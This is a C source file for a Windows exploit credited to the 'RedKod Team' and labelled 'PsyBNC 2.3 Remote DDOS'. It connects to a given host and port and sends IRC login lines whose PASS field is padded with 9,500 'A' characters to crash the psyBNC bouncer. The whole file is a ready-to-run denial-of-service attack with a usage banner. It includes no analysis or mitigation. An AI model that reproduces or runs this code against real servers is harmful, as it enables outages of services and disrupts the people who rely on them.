/*                
                 PsyBNC 2.3 Remote DDOS       
                      RedKod Team                     
		http://www.redkod.com/

   Not a Thought, just reality, RedKod In 2002-xxxx

Coder : R-e-D
Mail  : r-e-d@redkod.com

*/
    
#include <stdio.h>
#include <winsock.h>

int main(int argc, char *argv[])
{
	SOCKET MySock;
	LPHOSTENT lpHostEntry;
	SOCKADDR_IN saServer;
	WSADATA wsaData;
	WORD wVersionRequested;
	unsigned int err;
	int port, i;
	char *host, *buffer;

	if(argc<2)
	{
		printf("RedKod Team : PsyBNC 2.3 Remote DDOS\n");
		printf("           By R-e-D\n");
		printf("Usage: %s <host> <port>\n", argv[0]);
		exit(-1);
	}


	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) 
	{
		printf("Impossible d'initialiser Winsock !\n");
		exit(-1);
	}
  
	host=(char *)LocalAlloc(LPTR,0x500);
        strncpy(host, argv[1], 0x500);

	lpHostEntry = gethostbyname(host);	
	if(lpHostEntry == NULL) 
	{
		printf("Erreur lors de la tentative de resolation de l'host\n");
		exit(-1);
	}
        LocalFree(host);

	port = atoi(argv[2]);
   
	saServer.sin_family = AF_INET;
	saServer.sin_addr   = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
	saServer.sin_port   = htons(port);

	MySock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(MySock == INVALID_SOCKET)
	{
		printf("Erreur lors de la creation du socket\n");
		exit(-1);
	}

	printf("Connection en cours...\n");

	err = connect(MySock, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
	if(err == SOCKET_ERROR) 
	{
		printf("Erreur lors de la connection a l'hote distante\n");
		exit(-1);
	}
	else
	{
	  printf("Connection effectuee.\n");
	  printf("Sending Attack in 5 seconds...\n");
          buffer = (char *)GlobalAlloc(GPTR, 11024);
          strcpy(buffer, "USER REDKOD REDKOD REDKOD REDKOD REDKOD\r\n");
	  strcat(buffer, "NICK REDKOD\r\n");
	  strcat(buffer, "PASS ");
	  for(i=0; i<9500; i++)
	    strcat(buffer, "A");
	  strcat(buffer, "\r\n");
	  Sleep(5000);
	  send(MySock, buffer, strlen(buffer), 0);	
	  printf("Attack Done\n");
	  return(0);
	}
	GlobalFree(buffer);
        WSACleanup();
	return(0);
}